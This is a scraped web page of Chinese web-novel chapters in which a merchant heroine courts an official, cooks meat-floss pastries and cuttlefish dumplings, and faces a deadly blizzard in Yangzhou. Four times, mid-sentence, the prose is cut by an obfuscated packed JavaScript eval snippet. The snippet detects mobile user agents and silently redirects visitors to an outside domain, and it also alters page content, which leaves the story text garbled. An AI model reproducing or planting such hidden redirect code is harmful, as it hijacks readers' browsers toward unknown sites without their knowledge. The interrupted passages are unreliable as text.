“哎呀,刚才在院子里还不觉得,出来站久了才发现冷得出奇。”云楚沅一边说着,一边将冰凉的小手探进裴昱臣的衣袖里,贴上了他温热的手腕。 裴昱臣在感觉到那双小手顺着他袖子越来越往里时,忍不住将它们掏了出来,“不知羞!”他的耳尖迅速泛红,不知是冻得还是羞得。 云楚沅晃了晃手,撒娇道:“好阿昱,你给我暖暖。” 垂眸望着云楚沅冻得通红的指尖,裴昱臣喉结动了动,终究还是伸出手去包裹住了那双小手,掌心贴住手背的刹那,他清晰感觉到了自己的心跳陡然加快。 “下回出门记得带手炉。” 云楚沅盯着裴昱臣颤抖的长睫,向前走了两步,仰起脸来,柔顺的发丝垂落在肩头,精致小巧的下巴轻轻搭在他的胸膛上,笑眯眯地说道:“有你在,我还要什么手炉?” 他的心跳急促,透过衣衫清晰地传进云楚沅的耳朵里,如同鼓点般一下又一下地敲打着。 她的呼吸轻柔,每一次吐气,温热的气息都会喷洒在他的胸口,裴昱臣能感觉到她下巴圆润的弧度,还有那顶在他身上若有似无的力道。 “咳,阿沅,别让人瞧见了。” 听着裴昱臣局促的声音,感受到他身体的僵硬,云楚沅闷笑出声,“怎么,我有什么见不得人的吗?” 裴昱臣无奈地开口:“阿沅,你知道我不是那个意思,我是怕有人说三道四。” “让他们说去呗,我都不怕,你怕什么?”靠在这个人形暖炉上驱散了寒意,云楚沅慢慢直起身子,抚平了他胸前的褶皱。 “我……”裴昱臣眉眼柔和下来,刚想开口回应她,一阵马蹄声打破了两人暧昧不清的氛围。 “云姐姐,我来接你啦!” 马车还没停稳,一位身穿鹅黄色袄裙的姑娘便跳了下来,她跑向云楚沅,用力抱住了她的纤腰左摇右晃,“云姐姐,几日不见,我好想你哦。” “是吗?我也想你。”云楚沅笑着将宋明雅散落的发丝别到耳后,转身对裴昱臣介绍道:“阿昱,这位就是我和你提过的宋小姐。” 裴昱臣看着那名女子贴在云楚沅身上动手动脚的样子,忍不住皱了皱眉。 “裴大人,许久不见。”似笑非笑的声音从马车上传来,宋明轩用手指挑开窗帘,对着裴昱臣点头示意。 裴昱臣冷笑一声:“呵,令妹还真是像你。” 宋明轩表情疑惑:“裴大人,何出此言?” “和你一样不知分寸,自己找不到情投意合之人,便成天盯着别人的心上人,当真是脸皮厚。”裴昱臣不好与女子计较,便对着宋明轩冷嘲热讽、指桑骂槐。 宋明轩呆住了,他颤颤巍巍地伸出手指指向裴昱臣,“你……你说话怎么那么难听呢!云姑娘好歹还叫我一声大哥呢,你怎么对我如此没有礼貌!” 眼见着两人要吵起来,云楚沅立马拉着宋明雅上了马车,催促车夫赶紧走。她推开宋明轩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176374|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从车窗探出头来,对着裴昱臣挥了挥手,“外头冷,你赶紧回去吧。” 马车晃晃悠悠地往宋府驶去,宋明轩气鼓鼓地灌了口茶,“这裴昱臣什么毛病,我哪里惹到他!” 云楚沅也很头疼这两人的不对付,可她心里肯定向着自己人,“你少说两句吧,你忘了上回你劝我甩开他的事了吗?” 宋明轩咽了口唾沫,小声道:“你把这事告诉他了?” “那倒没有,但你背后说他的坏话是事实。”云楚沅理所当然地说道。 宋明雅好奇地问道:“云姐姐,你和裴大人关系很好吗?” “你不知道吧,这裴大人和云妹呀,那可是……”宋明轩意味深长地开口。 吊人胃口的停顿把宋明雅急得抓耳挠腮:“快说啊,他们怎么了?” “那可是好事将近。” —— 宋府。 女客们三三两两地站在院子里赏梅花,远远瞧见宋小姐牵着一位身姿曼妙的女子从廊下走过,那女子眉如远黛,目若秋水,肌肤胜雪,引人注目。 围在一起的妙龄小姐们,眼中闪过一丝不易察觉的嫉妒,她们交头接耳、窃窃私语起来。 “这就是那位裴大人未过门的娘子?云记的东家?” “看样子是,听说她可会赚银子了。” “哼,不过是仗着有几分姿色,才能傍上裴大人。”一位穿着华丽却满脸刻薄相的小姐故意抬高音量。 凭什么?凭什么这个村姑能捷足先登抢走了她看好的夫婿!女子狠狠绞着手中的丝帕,发泄着心中的不满。 其他几位小姐夫人听了,纷纷附和着笑起来。 “王小姐所言极是,听说那位云姑娘出身渔村,做惯了粗活,还没什么学识,想来也就容貌入了裴大人的眼。” “谁说不是呢,在座的各位小姐哪个不比她强啊。” 宋明雅一走近就听到了这番议论,她环顾了一圈背后说人坏话的众人,嘴角勾起一抹嘲讽的弧度,“几位讲什么笑话呢?说给我听听呗。” 众人噤若寒蝉,一时间没人敢触这位大小姐的霉头。 宋明雅的目光落在出言不逊的王小姐身上时,毫不掩饰自己的轻蔑,眼睛向上一翻,表达自己的不屑,“小翠,我记性不太好,这位人丑心也丑的小姐姓甚名谁来着?” “小姐,好像是王家小姐。”侍女小翠低声说道。 “王家?就那个穷人乍富的王家?我记得去岁王老爷还来求我哥哥给他儿子安排个好差事呢,想不到如今她女儿都能跑到我们府上撒野了。还真是一人得道,鸡犬升天啊。”宋明雅阴阳怪气了一通,话里话外都是瞧不上王家人。 王家和李家原本是扬州城名不见经传的小人物,自从杜知州因勾结倭寇下了大狱,除宋家以外不少富商都被牵连其中,他们王、李两家趁机起势,成了江南有名的富庶。 今日的宴会宋明雅并未邀请王家人和李家人,这位王小姐好不识趣,竟然上赶着来找骂。 王小姐脸涨得通红,胸脯剧烈地起伏,她狠狠地瞪了一眼高高在上的宋明雅,差点咬碎了银牙。 83. 香葱肉松卷 “呸,姓宋的,你不就仗着有好爹爹和好哥哥才能如此得意吗?没有他们你什么都不是,嚣张个什么劲啊!”敢怒不敢言的王小姐小声嘀咕,他们王家就算发家了,依旧惹不起宋家。 感受到周围的女客向她投来异样的眼神,不请自来的王小姐坐不住了,腾地一下站起来,转身离开了。 她今日来的目的就是想看看那位传闻中拿下裴大人的女子是何方人士,有何本事抢先当上官夫人,如今一瞧也不过如此。 王小姐昂首挺胸地走出了宋府,想到他爹爹资助了几个家境贫寒的秀才,押宝将来会有人高中进士,到时她嫁给那人一样可以飞上枝头变凤凰。 哼,要不是兄长不是读书的料子,他们王家改换门庭的重任也不会落在她的身上。 宋明雅瞧着王小姐离开的背影,很是摸不着头脑,“这人是来做什么的?跑这一趟就是专门来说些难听话的吗?” 有知晓真相的夫人透露了两句:“她八成是想来瞧瞧破坏她计划的女子长什么模样,王家可指望着女儿挑个贵婿飞黄腾达呢。” 宾客们收到宋府的邀请函上特别标注了这次宴会是宋小姐和她的好友云楚沅一起举办的,稍一打听,便能知道这位云楚沅是云记老板,还和新上任的裴大人关系密切。 宋明雅恍然大悟:“怪不得她如此跳脚,原是如意算盘落空了。” 扫兴的人走了,看不上王家人的贵妇们这才开口。 “明雅,你不是说你这宴会有惊喜吗?是什么啊?” “对呀,快别吊人胃口了,我们都好奇的很呢!” “听说这惊喜由那位云姑娘准备的,可是吃食?” “哎呀,云记卖的零食我可喜欢吃了,平日里消遣的时候都会拿上一包来吃。” “你还别说,味道确实好,我家老爷就很爱吃,来我房里的次数都多了。” 宋明雅将双手背在身后,昂首挺胸,洋洋得意道:“待会上茶点时,你们就知道了。” 几位夫人对视了一眼,心里有了数,看来这位云姑娘正在膳房准备糕点,怪不得方才云姑娘进府之后没有过来赏花。 宋明雅像是屁股着火了似的,根本坐不住,心里老是记挂着云姐姐说的吃食。 她估摸着时辰尚早,这群贵客们赏花过后还要吟诗作对,她对此不感兴趣,便决定偷偷溜走,去找云姐姐。 宋明雅向来肆意妄为惯了,丫鬟们无人敢拦她,有客人见她这位主人走了也装作没看见,反正也不指望这位任性的大小姐能招待她们。 —— “云姐姐,你可要看好你家裴大人。”宋明雅一走进膳房,就贴到云楚沅身边小声提醒。 云楚沅正专注地用碗将面粉舀入盆中,心里计算着重量,听闻此言,她手中动作一顿,抬眸看向挤眉弄眼的宋明雅,“哦?何出此言?” 宋明雅压低声音,神秘兮兮地说道:“这扬州城盯着他的人可多了,就今天来的小姐们不少都想做官夫人呢!刚刚已经被我气走了一个,她说话可难听了。” 云楚沅并未生气,她转念一想,宋明雅气走的小姐没尝到她做的吃食,那可不行,这岂不是少了个潜在客户嘛! “明雅,待会宴会结束,你送一份糕点到那位小姐府上,省得别人说你不知礼数。” 宋明雅撇了撇嘴,心里不大高兴,云姐姐多做的吃食肯定是要留给她的,怎么能便宜了那个讨人厌的王小姐。 见身旁的小姑娘用脚尖摩擦着地面,左顾右盼不愿答应的别扭样子,云楚沅摇头失笑,“放心吧,我会多做一些的,保管让你吃个够,给那位小姐的只是其中一点点。” 宋明雅原本蹙着的眉毛瞬间舒展开,眼睛“唰”地一下亮了起来,嘴巴咧得大大的,露出两排洁白整齐的贝齿,“一言为定,云姐姐留给我的要是最多的。” 云楚沅点头应下:“我只给小弟和小妹带一份,剩下的都归你,连裴昱臣都没有他的份。” 宋明雅欢快地拍了拍手,小脑袋左摇右晃,“太好了,我在云姐姐心中比裴大人还要重要!” 这小丫头还真是好哄,云楚沅笑眯眯地想着。至于裴昱臣怎么办,那还不简单,搂搂抱抱就能把他哄得找不着北。 此刻的云楚沅才发现自己还有做渣女的潜质呢,在外面三言两语就能把姑娘逗笑,回到家中还能让正宫不生气。 这一会儿说话的工夫,云楚沅已经在面粉中加入了适量的温水,揉搓按压成了光滑的面团,放到一边盖上湿布醒发。 趁着面团醒发的间隙,云楚沅将其他需要用到的食材准备好。鲜嫩翠绿的香葱被切成碎末,提前制作好的上等肉松丝丝缕缕间散发着的肉香。 宋明雅好奇地问:“云姐姐,你要做什么吃食呀?” 云楚沅她取来一小碗猪油,置于火上慢慢熬化,嘴上回答着:“香葱肉松卷、肉松小贝、肉松饼和鱼肉松粥。” 女子们的宴会主要是品尝茶点,云楚沅准备做的这几样是以肉松为主材料的面包、糕点和粥,即符合女子的口味,还能令人耳目一新。 宋明雅光是听到吃食的名字便忍不住流口水了,肉松已经成了她的心头爱,用它做出来的糕点绝对美味! “云姐姐,我来帮你吧。”闲着也是闲着,宋明雅也想体验一下自己动手做糕点的乐趣。 “好,待会让你做点简单的步骤。” 油脂变得透亮,云楚沅将香葱碎投入其中爆香。面团醒发至原本的两倍大,重新揉匀排气后,将其塞进长方形模具中铺整齐。 在云楚沅的指导下,宋明雅拿着毛刷蘸上熬好的葱油,在面团表面涂抹均匀,每一个动作都很细致,连边边角角都不放过。然后,再撒上肉松和葱末,送进烤炉中烘烤。 随着温度升高,面香、葱香与肉香混合在一起,酝酿出令人垂涎欲滴的味道。 “哇,好香啊。”宋明雅站在烤炉前嗅闻,一点也不嫌热。 “好了,差不多该出炉了。”说罢,云楚沅垫着湿布子将滚烫的烤盘端了出来,那股浓郁的香味更加霸道地往鼻子里钻。 云楚沅震了震烤盘,将其倒扣,把面包脱离出来,在烤好的长方形面包刷上自制的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186358|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙拉酱、撒上肉松。 她小心翼翼地从一端缓缓卷起,卷到头后用力攥了攥,弄成紧实的长条状面包,再切成大小相同的小段,香葱肉松卷便做好了。 宋明雅迫不及待地试吃了一块,“酥脆又绵软,太好吃了,而且里面这个白白的酱好好吃哦。” “这沙拉酱是用蛋黄、糖和油做成的,悄悄告诉你,里面放了很多油,吃多了容易长胖哦。”云楚沅见宋明雅吃完面包后,直接用手指蘸着碗里的沙拉酱舔,忍不住出声阻止。 宋明雅面不改色地继续吃,嘴里嚷嚷道:“要是天天能吃到这么好吃的东西,我愿意变胖!” 云楚沅笑了笑,不再理会沉迷甜食的宋明雅,开始做肉松小贝。 将鸡蛋的蛋清和蛋黄分离后,分别放在两个无油无水的碗中。 用筷子打发蛋清是个体力话,云楚沅交给了膳房的下人们轮流来做,透明的鸡蛋清变得浓稠,逐渐膨胀成蓬松绵软的蛋白霜。 云楚沅把蛋黄、牛乳和油混合在一起搅拌均匀,筛入面粉后搅拌,动作要保持轻柔。混合成顺滑无颗粒的面糊后,将三分之一的蛋白霜加到蛋黄糊中翻拌,充分融合后再倒回剩余的蛋白霜里重复之前的动作。 调好的面糊挤在烤盘上,送入烤炉,随着温度升高,蛋糕胚慢慢鼓起,变得金黄。约莫一刻钟后,云楚沅将其取了出来。 “好啦,把沙拉酱给我吧,你个不要一个人全吃光喽。”云楚沅将宋明雅手里的碗抢了过来,里面的酱少了许多,看来这丫头是真喜欢。 宋明雅不好意思地摸了摸脑袋,笑嘻嘻地凑了过来,“云姐姐,你瞧我,说好要帮你忙的,结果光顾着吃了。” “那你跟着我一起组装肉松小贝吧。” “好嘞!”宋明雅忙不迭点头。 云楚沅拿起一片蛋糕胚,涂抹一层沙拉酱后盖上另一片蛋糕,轻轻按压使它们组合在一起,然后在表面刷上一层沙拉酱后,裹满肉松。 宋明雅跟着她一步一步将小巧玲珑的肉松小贝做了出来,拿在手里细细端详,忍不住咽了咽口水,“这胖乎乎的糕点太喜人了!我好想把它给一口吞掉!” “想吃就吃吧。”云楚沅见她馋得不行还要极力忍耐的样子,忍俊不禁。 宋明雅像摇拨浪鼓一样摇了摇头:“不了不了,我要控制住,待会当着客人们的面大夸特夸!”第一反应才是最真实的,等会她一定要给她们留下深刻的印象。 “行,你吃东西的样子确实会让人食欲大增。”云楚沅一边说着,一边准备起了最后一道美食。 浸泡的大米用小火熬煮成粘稠的粥,再加入切碎的蔬菜还有鱼肉松,煮成细腻易消化的鱼肉松粥。 雕梁画栋的宴会厅中,丫鬟们鱼贯而入,当四款美食摆在精美的食盒之中呈上桌时,那扑鼻而来的甜香引得众人伸长了脖子。 宋明雅拉着云楚沅在主位上坐下,为客人们一一介绍这些吃食。 香葱肉松卷蓬松宣软,肉松小贝精致可爱,肉松饼酥脆咸香,鱼肉松粥软糯香甜,各家小姐和夫人都赞不绝口。 84. 墨鱼水饺 宋明雅瞄准她早就眼馋的肉松小贝,左右开弓,一下子塞进嘴里两个。 她的眼睛亮晶晶的,兴奋地晃着脑袋,一边大口吞咽,一边含糊不清地说:“哇塞,你们快尝尝,软绵绵的点心,可好吃了。” 云楚沅摇头失笑,这丫头还说要为各位小姐夫人推荐呢,让她们难以忘怀,结果自己吃得头也不抬。 一位夫人轻抬玉手,用绢帕掩住嘴角的笑,“宋小姐如此喜爱,我倒是颇为好奇是何滋味。”说罢,她拿了块肉松小贝轻咬一口,“嗯,这糕点满是肉香与麦香,中间的酱料甜而不腻,实乃佳品。” 旁边的夫人微微颔首,眼神中满是赞赏,“确实如此,这点心不仅滋味绝妙,单瞧这形状就十分精致。每一块都大小匀称,外层包裹的肉松恰到好处,叫人不忍下箸破坏。” 一位小姐可不管精不精致,她只想尝尝这点心是否向它的外形那般吸引人,她轻执筷子夹起一块,细细品味后,露出了一个满意的笑,“我尝遍了扬州城的点心,少有能与此相较者。这肉松嫩而不柴,咸甜适中,佐以清茶,唇齿留香,余味悠长。” 有不爱吃糕点的小姐,尝过后也是大为称赞:“当真不错,今日得遇此等美味,咱们口福不浅呐。” “承蒙各位厚爱,我为诸位姐妹都打包了一份,你们可以拿回去和家人一同分享。”云楚沅给丫鬟们使了个眼色,她们意会后,将手中的食盒递给在坐女客们身后服侍的侍女。 拿人手短,吃人嘴软,各位小姐夫人们面对云楚沅那叫一个和颜悦色,嘴里好听话不断冒出。 仅仅一盏茶的功夫,云楚沅就和她们打成了一片,甚至有小姐大着胆子主动询问云楚沅和裴昱臣的事。 “云妹妹,我听说你是裴大人未过门的娘子,此事是真是假?” 云楚沅瞧着众人八卦的眼神,捂嘴轻笑,“是有这么回事,你们是不是想知道裴大人如何与我好上的?” 几位年轻的小姐羞涩地点了点头,她们都是未出阁的姑娘,对男女之事很好奇,心里对未来的夫君有一份憧憬。 已经成亲的夫人们多少也从自家老爷的口中听说了裴大人不近女色的事。 有人想讨好新上任的裴知州,便给他送了几个美人,结果全被退回去了,裴大人放话,他心里只有未过门的娘子,旁的女子再美也入不了他的眼。 此话一出,扬州城的女子们无不羡慕云楚沅,她们都想学一学云楚沅的驭夫之道,甚至有人去云记买酱料还会问伙计“用这个做菜给相公吃,会不会让他听话”。 云楚沅俨然已成为女子们崇拜的对象,她不仅驭夫有方,还有自己的生意,女子也能活的这么肆意潇洒,这无疑是为某些迷茫的女子指明了全新的方向。 “这男人呀不是必需品,有就有,没有也不强求。你自己变得优秀了,就会吸引同样出类拔萃的男子。”云楚沅慢慢饮了口茶,以过来人的姿态劝诫她们。 小姐们互相对视,她们从每个人的眼神里都看到了震惊,这样的说法她们闻所未闻。 世人对女子的要求无不是“未嫁从父,出嫁从夫”,鲜少有姑娘会打破世俗观念,就算有被夫家磋磨女子提出和离,之后的日子也不见得好过。 云楚沅将茶杯放在桌上,抬眼扫过神色不一的女子们,最后落在旁边瞪着大眼炯炯有神的宋明雅身上。 “明雅,你怎么看?” 宋明雅咽下口中的吃食,大大咧咧地说道:“找夫君当然要找称心的,否则我宁愿不嫁。人只能活这一辈子,我当然要让自己过的舒坦,别人的眼光有什么好在意的!” 云楚沅给了她一个赞赏的眼神,然后看向若有所思的姑娘们,“希望你们羡慕的是我的生活方式,并非是我能嫁个好夫君。” 见众人沉默不语,云楚沅不忘自吹自擂,“要说裴大人最先被我的什么吸引,那便是我的好厨艺。他尝过我做的美食后,便求着我做他的厨娘。” 有小姐试探着开口:“云妹妹,我不会做菜呀,你说我是不是也该学一学。” 云楚沅摇了摇头:“不用学我,每个人都有自己擅长的东西,你当然要做自己喜欢的事,总会遇到欣赏你的人的。” “对呀,姐姐你学问那么好,夫子都多有夸赞,连爹爹都说你要是名男子绝对能考取功名。有学做菜的工夫,你不如多写两本书。” 小姐听了这话,想起自己上回从书肆借了本书,心血来潮之下在上面写了批注,第二回再去时竟发现有人夹了张纸条称赞她的观点,她突然萌生了写书的想法。 “你们说的在理,我有自己想做的事,不该轻易放弃。” 云楚沅露出了一个欣慰的笑,要是姑娘们都有了自己的爱好,哪还有多余的精力放在男人身上忙着自怨自怜、争风吃醋。 “云妹妹,听你一席话,我受益匪浅。” “哪里哪里,是夫人您心胸宽阔。” “云姑娘你有心了,日后我会让下人去你的铺子里买的。” “多谢夫人照顾我的生意。” “云记以后出新品,妹妹可别忘了知会我们一声。” “一定,一定。” 宴会结束时,云楚沅将小姐夫人们一个个送上马车,每个人离开时都要拉住她的手感慨一番,仿佛她是为人排忧解难的大师,就差给她上供了。 “哼,云姐姐你干嘛对她们笑的这么好看,明明我才是你最亲近的女子。”宋明雅撅着小嘴,看云楚沅的眼神十分幽怨,像是在看负心汉。 云楚沅揉了揉她的脑袋,笑着说道:“那怎么能一样,她们是我的顾客,而你是我无话不谈的好朋友。” 宋明雅顿时笑弯了眼,脸颊露出两个若隐若现的酒窝,“云姐姐,你是我唯一的手帕交。” 与宋明雅分别后,云楚沅乘马车来到了云记海味坊,她将制作肉松的事情安排下去后,坐在二楼雅间翻看账本。 海味坊除了零售之外,时常会有大订单,全是来江南经商的人订购的,这已经成了云记最大的进项。 云楚沅的好心情在发现外面飘起了小雪时消散了个干净。若是以前,她也许会为每年的初雪激动不已,可现在她做起了生意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225604|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然不希望天气不好。 “东家,小硕带着商队送货来了。”马掌柜敲了敲门,出声禀报。 “让他进来。” 接着,风尘仆仆的李小硕走了进来,他的肩上已经有了落雪。 “东家,这是年前最后一批货了,商队下回再来可就要年后了。”李小硕拿出单子递给云楚沅,上面记录了这回送来的东西。 云楚沅浏览了一遍,除了店铺需要的货,竟然还有些海鲜,除了寻常的鱼、虾,还有一只大墨鱼。 “这是小渔村的村民们让我送来的,天气严寒,这些海鲜都冻上了,好保存。这只大墨鱼是阿汤哥从海里捞上来的,说是送给楚河的年礼。” 云楚沅跟着李小硕下楼去看,那只大墨鱼足足有十几斤重,她抱都抱不起来。 “阿汤哥有心了,你记得给他还有云记的所有伙计准备一份年礼,再给一串赏钱。”虽然云楚沅人无法回临海县,但她的心意必须要到。 —— 膳房里热热闹闹,灶台上热气腾腾,伙夫们忙着做菜,角落里的云楚沅正准备亲手做一道墨鱼水饺作为年夜饭的压轴菜品。 墨鱼除去内脏、眼睛和黑膜后,将墨囊留下。 云楚沅挽起衣袖揉搓面团,面团是用墨鱼汁和的,使得面团黑黢黢的,引得下人们频频探头观望。 墨鱼肉和猪肉剁成泥,加入葱姜水去腥,盐、蚝油和胡椒粉调味,然后打入一个鸡蛋,倒入韭菜末,用筷子快速搅拌均匀。 随着她的双手不停翻飞,托盘里渐渐摆满了一排排元宝状的墨鱼水饺。 锅中的沸水翻滚着,升起袅袅白雾,云楚沅小心翼翼地将墨鱼水饺下入锅中,时不时用勺子轻轻搅动,防止饺子粘连在一起。 待黑色的水饺一个个浮上水面,变得圆鼓鼓的,便可以出锅了。 “最后一道菜,是我亲自做的墨鱼水饺。”云楚沅眉眼含笑地将饺子摆放到了桌子中间,在裴昱臣和云楚清之间的空位上落座。 “辛苦你了,这顿年夜饭安排下人们去做就好了。你若是累坏了,叫我如何能不心疼?”裴昱臣唇角噙着一抹温润的笑意,眸光柔和,嗓音低沉而又温柔。 “心疼?要不要我给你揉揉啊?” 裴昱臣顿时脸红的像是煮熟的虾子,果然,论起调戏人来,还是她更胜一筹。 云楚沅轻轻拱了拱鼻子,嘴角微勾,她对小书生的体贴特别受用,这满桌的大鱼大肉都是吩咐膳房的厨子做的,唯有水饺她想亲自做。 “咦~裴大哥,你可真肉麻。阿姐,你们两个说情话能不能避着点人。”坐在裴昱臣另一边的云楚河搓着手臂,显然是被两人的口无遮拦惊起了一身鸡皮疙瘩。 云楚清“嗤嗤嗤”得笑了起来:“哥哥,你干嘛要这么说,我瞧着阿姐和裴大哥说话,就像是吃了蜜一般甜。” 云楚沅点了点小妹的鼻子,笑着说道:“嘿,小小年纪,你还会嗑糖了?” 裴昱臣为云楚河夹了一枚饺子,轻声说道:“楚河,你长大就会理解了,有些东西是藏不住的。” 85. 大雪 正月初一,本应是热热闹闹的节日,可街上行人寥寥无几,门楣上张贴的朱砂对联在一片银白里格外显眼,鹅毛般的大雪纷纷扬扬地飘落着,把整个扬州城裹上了素色。 裴昱臣披着一件大氅,站在屋檐下伸手接着大片雪花,檐角的冰凌坠落摔了一地碎冰,望着院子里厚厚的积雪,他眉头紧锁,手心里攥着块温热的暖玉,却驱不散心底涌起的那股不安。 “这雪下得也太反常了,往年也如此吗?” 旁边的孟合舟回道:“往年这个时候,虽说也会下点小雪,但哪像今年这般没完没了啊。” 裴昱臣裹紧衣服,面色严肃,“我去城里看看,这雪再下下去怕是要出事。” 外头大雪纷飞,城中百姓的房屋茅顶可还撑得住?乡间驿道被雪掩盖,行人能否归家?家家户户储备的粮食棉衣是否充足? 裴昱臣的脑海中迅速盘算着应对之策。粮仓要清点储备,以备不时之需;必须检查各处桥梁和渡口,确保无人受困;还有那些破旧的房屋,必须巡查有没有倒塌的情况。 “速传衙役清街扫雪,挨家挨户查看老弱病残之家!”吩咐完青竹后,裴昱臣踏出院门,任雪花落满肩头。 孟合舟连忙小跑着跟上:“诶,师弟,等等我,我跟你一起去!” 裴昱臣抬眼望向远处,河面已经结冰,原本繁忙的水路如今变得死气沉沉。 码头上几个脚夫正骂骂咧咧地砸着冰层,他们妄图疏通出一条航道来,可坚硬的冰块又怎是他们轻易能凿开的呢? “运货的船只都已经停了,我要的货怎么办呀!” “这么大的雪还惦记做生意,你可真行。” “你懂什么!我的全部身家都搭在上面了,就等着卖出这批货赚银子呢,现在银货两空,简直是要了我的命啊!” 路过的商人唉声叹气,仿佛天都塌了。 裴昱臣无力解决他们的生计问题,只能先把在外逗留的百姓劝回家去,嘱咐他们等雪停了再外出。 两日后,青竹急匆匆地闯进了书房,手里挥舞着一张薄薄的纸。 “大人!急报!” 裴昱臣接过一看,脸色顿时变得难看起来。 大雪深数尺,河水结冰几十里,人畜冻死千计,许多百姓流离失所,江南连雪数旬,尸殍遍野。 附近的县城已经出现了冻死流民的情况,那些无家可归的百姓在这严寒之中根本无力抵抗,命如草荠。 深夜,听着外面呼啸的风声,裴昱臣难以入眠,他亲自带着一队人马巡城,走到东街时,一阵微弱的哭声传入了他的耳朵。 顺着声音找去,众人发现是一个老妪蜷缩在墙角,她的怀里抱着死去的瘦弱孩童,孩子的身体早已僵硬冰冷,而老妪也饿得皮包骨头,气息奄奄。 裴昱臣心中一阵刺痛,连忙上前扶起老妪,脱下自己的官袍给她披上,又派遣衙役去弄些吃食来。 老妪抓着他的衣袖哭得泣不成声,跪在雪地里不停磕头,“官爷,求口棺材葬孙儿……”她颤抖的声音和乞求的眼神让在场的人喉头发紧,纷纷移开了视线。 天亮以后,裴昱臣立刻召集扬州城的粮商们商议开仓放粮之事,然而这些平日里满口仁义道德的富商在此时都露出了丑恶嘴脸,他们一个个推三阻四,借口库存不多来推脱。 “裴大人呀,不是小人不愿帮忙,可我那点囤货,根本就不够自家铺子卖的哩。” “大人,这大雪还不知道要下到什么时候呢,我家有几百口人要养活,粮食可不敢动呀。” 裴昱臣阴沉着脸,重重拍了一下桌子,杯子里的茶水都被震出了几滴,“呵,诸位趁着天灾哄抬粮价难道不会寝食难安吗?百姓们食不果腹、朝不保夕,尔等利欲熏心、趁火打劫,此等行径,与土匪何异?” 富商们的脸面有些挂不住了,裴昱臣直言不讳,戳破了他们的小心思,气氛一时间僵持不下。 “裴大人,我愿开仓放粮,接济百姓。” 姗姗来迟的宋明轩打破了一室寂静,他拱手朝着裴昱臣行了一礼,高声说道:“我们宋家作为江南有头有脸的富商,愿意慷慨解囊。银子是身外物,死后也带不进阴曹地府,倒不如拿出来为自己多积一点功德。” 在座的商人们听了这番话全都攥紧拳头咬牙切齿,暗骂这宋家小子不是个东西,自己装大度不要拉上他们啊! 有人张嘴想要反对,接着便被宋明轩一记眼刀钉在原地,“怎么?这位伯父是要学那铁公鸡,把铜板缝进棺材里去?” 裴昱臣站起身来深深鞠了一躬,言辞恳切,“有宋公子这般高义之士,实乃百姓之福。” “裴大人谬赞了,在下不过是略尽绵薄之力,剩下的事还要靠大人您费心啊。” 这次对话是两人自相识以来最平和的一次交流,难得没有针锋相对,他们都清楚这个时候人命关天,没必要计较得失,能多救一条人命是一条。 裴昱臣环顾四周后,朗声说道:“本官希望诸位能以大局为重,若有人执迷不悟,那便是与全城百姓为敌,本官也绝不会坐视不理。按照本朝律法,本官可将哄抬粮价所得钱财尽数没收。” 富商们不情不愿地点头应是,承诺会降粮价,他们十分吝啬地表示,可以在城中开设粥棚,救济灾民,其余事做不到了。 突然外面传来一阵喧闹声,裴昱臣走出去后,发现是饥民们听说州署会施粥,于是聚拢过来哄抢。混乱之中,灾民们在拥挤下发生了踩踏,有不少人受伤,疼得惨叫连连。 裴昱臣赶忙上前制止这场骚乱,请大夫来为伤患诊治。 “大家不用争抢,人人都能分到粥,不仅衙门这里会设粥棚,扬州富商们也自愿出粮食帮忙,尤其是宋家,他们捐赠数千石粮食和几百匹棉布,不仅果腹,亦能御寒,宋家还会出银子为流民搭建临时住所。” 此话一出,众人哗然。 “不愧是江南首富的宋家,一下子捐了这么多粮食,咱们有救了!” “可不是嘛,想不到宋家出手这么大方。往日里我只羡慕人家会赚银子,这关键时刻还真是仗义。” “乐善好施,当真是大善人啊!” 云楚沅听说此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232216|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事后,也是出钱又出力,以云记的名义救助灾民。她本来还想亲自去粥棚煮粥,却被裴昱臣给拦了下来。 “阿沅,这事还是交给下人来做吧。万一你熬的粥太好吃了,怕是都不够分的。” 